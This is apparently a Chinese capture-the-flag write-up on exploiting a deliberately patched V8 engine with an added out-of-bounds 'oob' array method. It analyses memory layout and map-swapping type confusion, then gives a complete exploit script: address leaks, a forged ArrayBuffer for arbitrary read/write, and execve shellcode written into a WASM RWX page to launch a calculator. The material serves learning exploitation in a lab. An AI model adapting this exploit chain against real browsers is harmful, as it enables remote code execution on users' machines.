一道非常适合入门v8的题目,通过oob改写map从而达到Type Confusion。
环境准备
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../Chrome/oob.diff
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release d8
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug d8
包含oob.diff的文件可以在这里下载到。
漏洞分析
Patch分析
1 | diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc |
可以看到Patch给Array对象添加了一个oob方法。具体实现在builtins-array.cc中。
我们可以很容易的看出来发生了越界访问。
elements后面是什么
上面产生的越界访问的是紧跟在最后一个element后面的,所以我们要了解elements后面跟的是什么。
进d8测试一下,我们输入:
d8> var a = [1.1,1.2,1.3]
d8> %DebugPrint(a)
可以看到布局
pwndbg> job 0x30550308dd91
0x30550308dd91: [JSArray]
- map: 0x39f350142ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2cdec6cd1111 <JSArray[0]>
- elements: 0x30550308dd69 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x26783ca40c71 <FixedArray[0]> {
#length: 0x0ed7075801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x30550308dd69 <FixedDoubleArray[3]> {
0: 1.1
1: 1.2
2: 1.3
}
pwndbg> x/12gx 0x30550308dd69-1
0x30550308dd68: 0x000026783ca414f9 0x0000000300000000
0x30550308dd78: 0x3ff199999999999a 0x3ff3333333333333
0x30550308dd88: 0x3ff4cccccccccccd 0x000039f350142ed9
0x30550308dd98: 0x000026783ca40c71 0x000030550308dd69
0x30550308dda8: 0x0000000300000000 0x000026783ca40941
0x30550308ddb8: 0x00000adcba16a5aa 0x6974636e7566280a
elements是在JSArray的map前并且相邻的。
所以布局应该如下图所示(抄Hpasserby师傅的图)
Elements--->+-------------+
| MAP +<------+
+-------------+ |
| Length | |
+-------------+ |
| element#1 | |
+-------------+ |
| element#2 | |
+-------------+ |
| ... | |
+-------------+ |
| element#N | |
JSArray--->--------------+ |
| MAP | |
+-------------+ |
| Properties | |
+-------------+ |
| Elements +-------+
+-------------+
| Length |
+-------------+
| ... |
+-------------+
在别人的文章里提到,并不是所有时候Elements紧紧邻着JSArray。
而通过splice(0)可以使其相邻。(发现slice(0)好像也可以)
d8> var a = [1.1,1.2,1.3].splice(0)
d8> var b = [1.1,1.2,1.3].slice(0)
Type Confusion
v8中对象的map描述对象的结构,如果能够修改map,那么就可以以新的map的类型取解析原本的对象数据。
例如,有一个存放对象的Array,有一个存放浮点数的Array,如果可以修改存放对象的Array的map为存放浮点数的Array的map,则可以把其中的对象(地址)当成浮点数读出来。
漏洞利用
整体思路
总的来说是要往WASM的RWX区域写入shellcode。
所以我们要获得任意地址写的能力。
- 首先创建一个fake_arraybuffer,并在其elements的一段伪造一个fake_map。
- 创建一个浮点数数组和一个存储对象的数组(浮点数数组用于提取其map并赋值给对象数组的map以泄露对象地址)。
- 通过oob方法泄露double_map和obj_map,并把obj_map覆盖为double_map。
- 从obj中读出fake_arraybuffer的地址,并计算出其elements的地址和伪造的fake_map的地址。
- 将elements地址写入obj数组,相当于写入了一个ArrayBuffer,还原obj的map为obj_map。
- 通过DataView取出fake_arraybuffer,由于fake_arraybuffer是伪造的,可以随意修改backingstore区域。
- 把RWX地址的存放地址放入fake_arraybuffer[4],getFloat64读取,其值便为RWX地址。
- 把RWX地址写入fake_arraybuffer[4],再往DataView生成的fake_obj里面写shellcode就行。
WASM中RWX地址
试了几次v8的调试,该RWX地址通常与wasmInstance有固定的偏移。
WASM部分相关代码可以在这里找到。1
2
3
4
5
6
7
8var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
%DebugPrint(wasmInstance);
readline();
`
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x377c7238000 0x377c7240000 rw-p 8000 0
0xb0459440000 0xb0459480000 rw-p 40000 0
0xc6f0f0fc000 0xc6f0f0fd000 rwxp 1000 0
通过vmmap查出一片可执行区域。
pwndbg> search -8 0xc6f0f0fc000
0x139a76e1f930 0xc6f0f0fc000
[heap] 0x5575a45c9fe0 0xc6f0f0fc000
[heap] 0x5575a45d72a8 0xc6f0f0fc000
[heap] 0x5575a45d7300 0xc6f0f0fc000
[heap] 0x5575a45d7450 0xc6f0f0fc000
查看一下0x139a76e1f930
pwndbg> p/x 0x139a76e1f930- 0x139a76e1f8a8
$1 = 0x88
发现该区域距离wasmInstance有0x88的偏移。
Exploit
懒得写就抄作业了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var tC = new typeConvert();
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
var fake_arraybuffer = [
//map|properties
tC.u2f(0x0),
tC.u2f(0x0),
//elements|length
tC.u2f(0x0),
tC.u2f(0x1000),
//backingstore|0x2
tC.u2f(0x0),
tC.u2f(0x2),
//padding
tC.u2f(0x0),
tC.u2f(0x0),
//fake map
tC.u2f(0x0),
tC.u2f(0x1900042319080808),
tC.u2f(0x00000000082003ff),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0)
].slice(0);
var ab = new ArrayBuffer(0x1000).slice(0);
var obj = [wasmInstance, fake_arraybuffer, ab].slice(0);
var buf = [1.1, 2.2, 3.3].slice(0);
obj_map = tC.f2u(obj.oob());
console.log("[*]obj_map addr -> "+hex(obj_map));
buf_map = tC.f2u(buf.oob());
console.log("[*]buf_map addr -> "+hex(buf_map));
obj.oob(tC.u2f(buf_map)); //将obj数组的map改为double map
wasm_inst_addr = tC.f2u(obj[0]) - 1; //读取wasm_instance的地址
rwx_area_addr = wasm_inst_addr + 0x88 //获取rwx地址的存放地址
console.log("[*]RWX_area_addr -> "+hex(rwx_area_addr));
fake_ab_addr = tC.f2u(obj[1]) - 1; //读取fake_arraybuffer的地址
console.log("[*]fake_ab_addr -> "+hex(fake_ab_addr));
fake_obj_addr = fake_ab_addr - 0x80; //获取fake_arraybuffer的elements的地址
fake_obj_map = fake_ab_addr - 0x40; //获取伪造的map地址
fake_arraybuffer[0] = tC.u2f(fake_obj_map + 1); //将伪造的map填入
fake_arraybuffer[4] = tC.u2f(rwx_area_addr); //将rwx地址的存放地址填入backingStore
obj[2] = tC.u2f(fake_obj_addr + 1); //将elements地址写入obj数组
obj.oob(tC.u2f(obj_map)); //恢复obj数组的map
fake_obj = new DataView(obj[2]); //将伪造的ArrayBuffer取出
rwx_area = tC.f2u(fake_obj.getFloat64(0, true));
console.log("[*]rwx_area -> " + hex(rwx_area)); //读取rwx空间的地址
fake_arraybuffer[4] = tC.u2f(rwx_area);
shellcode = [0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
//shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00];
for (i = 0; i < shellcode.length; i++){
fake_obj.setUint8(i , shellcode[i], true);
}
wasmFunc();
`
别人家弹的计算器
自己弹的计算器
有一说一这个Xcalc还是比gnome-calculator好看一点。